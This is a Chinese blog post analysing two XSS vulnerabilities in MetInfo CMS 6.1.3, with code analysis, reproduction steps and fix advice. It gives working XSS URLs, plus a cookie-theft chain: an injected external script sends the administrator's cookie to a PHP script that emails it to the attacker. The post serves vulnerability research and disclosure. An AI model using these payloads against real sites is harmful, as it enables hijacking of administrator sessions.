Metinfo 6.1.3 XSS漏洞分析

文章首发于安全客,Metinfo 6.1.3 XSS漏洞分析

前言

前段时间看到一个cms造成的xss漏洞,这里想分析下。这个漏洞是metinfo6.1.3版本因参数问题造成前台和后台引起了两处xss漏洞。

这个漏洞的影响范围一直到最新版本(6.1.3),因为前段时间爆出的漏洞,所以新版本应该已修复。
cms最新6.13下载地址:https://www.mituo.cn/download/

前台漏洞分析( CVE-2018-20486)

通过在前台插入xss访问,然后会在后台触发xss,造成xss攻击。
漏洞的触发点在
admin/login/login_check.php

image.png

这里加载了 $commonpath=$depth.'include/common.inc.php',然后在如下的代码段里存在变量覆盖漏洞: (admin/include/common.inc.php 77行)

image.png

然后往下分析,回头看admin/login/login_check.php这段代码

image.png

$url_array变量是我们可控的,从而控制$truefile变量,进入下个if语句,if语句中存在更改数据库信息的mysql语句,从而可以直接更改数据库信息
$_M 数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:

  $_M[config]:网站配置数组,里面可以查询到所有的网站配置数据。
    $_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,
        这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。
    $_M[langlist]:语言设置数组,其中$_M[langlist][web]为前台语言设置,
            $_M[langlist][admin]为后台语言设置。
    $_M[lang]:前台语言,如果你是在网站前台,则这个值是你当前访问的语言,
        如果是后台,则这个值是你当前编辑的语言。
    $_M[table]:系统表名称。
    $_M[url]:系统一些常用URL入口地址。
    $_M[url][site_admin] :网站后台地址
    $_M[url][site] :网站前台地址
    $_M[url][entrance] :框架入口地址
    $_M[url][own] :当前执行的应用根目录地址
    $_M[url][app] :应用根目录地址
    $_M[url][pub] :系统公用文件(html.css,js)地址
    $_M[url][ui] :当前class所使用的UI地址,前台为“系统ui根目录/web”;,
                    后台为“系统ui根目录/admin”。
    $_M[user][cookie]:用户cookie信息,建议不要直接取值,使用get_met_cookie()取值。
    $_M[word]:当前的语言参数。
    $_M[plugin]:系统插件数组。

然后在 app/system/include/class/common.class.php

    $_M['config']['met_adminfile_code'] = $_M['config']['met_adminfile'];
        $_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
        if ($_M['config']['met_adminfile'] == '') {
            $_M['config']['met_adminfile'] = 'admin';
            $met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
            $query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
            $result = DB::query($query);
        }

我们可以看到,met_adminfile是我们可控的值存在于$_M['config']['met_adminfile']中,也就是通过这个就可以找到我们可以构造的点了。

image.png

看到这里就会发现离我们可构造的XSS不远了,这段存在于app/system/safe/admin/templates/index.php (72行),可以发现,这里标签直接输出了met_adminfile的值,因此造成了一个存储型的XSS漏洞。
XSS payload:

http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123

这里用onfocus属性造成的弹框。
onfocus:

当 input 输入框获取焦点时执行一段 Javascript代码:
<input type="text" onfocus="myFunction()">

XSS的构造方式有很多中,但是只要满足输出条件即可:
$turefile=$url_array[count($url_array)-2]在倒数第二个值中输入我们想要的值就可以了,不断传入url_array[]数组的值然后$truefile返回的是数组倒数第二个值,然后$truefile会被带入数据库中被更新,然后后台在点击带有那个标签页面时便会触发XSS

1.1 前台漏洞复现

其实这个漏洞也不完全是前台,因为它只是通过通过URL访问后台目录,虽然无回显但是可以成功插入信息。
XSS Payload:

http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123

然后直接访问,无回显。
这时登录后台,点击安全与效率页面

metinfo.png
image.png

点击后台文件夹的文件名即可触发xss。其实可以发现后台文件名已经被更改了,并插入了XSS代码。每当更改文件便会触发XSS,这里就是通过更改$truefile的值传进数据库,从而更新了文件名。
我们可以通过这个存储型XSS漏洞去拿管理员cookie。

获取cookie-payload:

http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" <SCript src=http://localhost/Myphp/eamil/joke.js>&url_array[]=1

单引号做了过滤所以不要使用单引号,payload能简则简。
这里是我自己做的很简单的脚本,获取cookie发送自己邮箱里。
执行后,当管理员进入后台点击安全与效率页面时便可触发。

metinfo1.png

metinfo2.png

脚本贴上

<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "xxxxxxx@qq.com";         // 邮件接收者
$subject = "COOKIE";                // 邮件标题
$message = $_GET['joke'];  // 邮件正文
$from = "xxxxxxx@qq.com";   // 邮件发送者
$headers = "From:" . $from;         // 头部信息设置
mail($to,$subject,$message,$headers);
echo "邮件已发送";
}
else
    echo "邮件发送失败";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的,可以换成自己的ip地址

js脚本获取cookie内容,然后将cookie赋予php脚本变量中,然后获取变量内容,发送邮件到自己邮箱。
发送邮箱需配置smtp服务,具体可以参考我这篇文章https://www.jianshu.com/p/4afafc3c5a3e

2.0 后台漏洞分析(CVE-2018-19835)

后台也是由于参数问题过滤不严谨造成的xss漏洞,不过这个目录只能在后台访问。
先看造成漏洞的主要代码块(/admin/column/move.php):

image.png

从代码中可以看出只需要$folderyanzheng> 0进入if判断内,再看第二个if语句,要保证$folder_m不为空,因此我们可以随便查询一个数据库,也就是给变量$foldername赋一个数据库名。然后将$lang_columnerr4赋给$metcms,最后输出$metcms,也就造成了xss。
查询数据库如下:

image.png

不过从这里可以看出造成这个xss攻击代价太大,不仅要知道后台权限,还要知道数据库名。感觉可用性并不是太强。

2.1 漏洞复现

Xss-Payload:

http://127.0.0.1/metinfo6.13/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=<Script>alert(/xss/)</sCript>&metcms=1
image.png

这里我们可以看出它会将信息最终通过metcms参数输出在页面中,因此也就造成了xss。

image.png

3.0 总结

修复建议: 因为最新版本应该已经修复相关漏洞,可以升级为新版本,或暂缓修复后台(admin/include/common.inc.php)存在的变量覆盖漏洞。
metinfo出现的xss漏洞较多,但xss在能够利用的情况下产生的危害也较大,因此在开发时应考虑到造成漏洞的不同场景,尽可能的避免漏洞存在。针对XSS最常见的可以对输入(和URL参数)进行过滤,对输出进行编码,也可以对关键字进行黑名单或白名单的过滤等等。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,711评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,932评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,770评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,799评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,697评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,069评论 1 276
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,535评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,200评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,353评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,290评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,331评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,020评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,610评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,694评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,927评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,330评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,904评论 2 341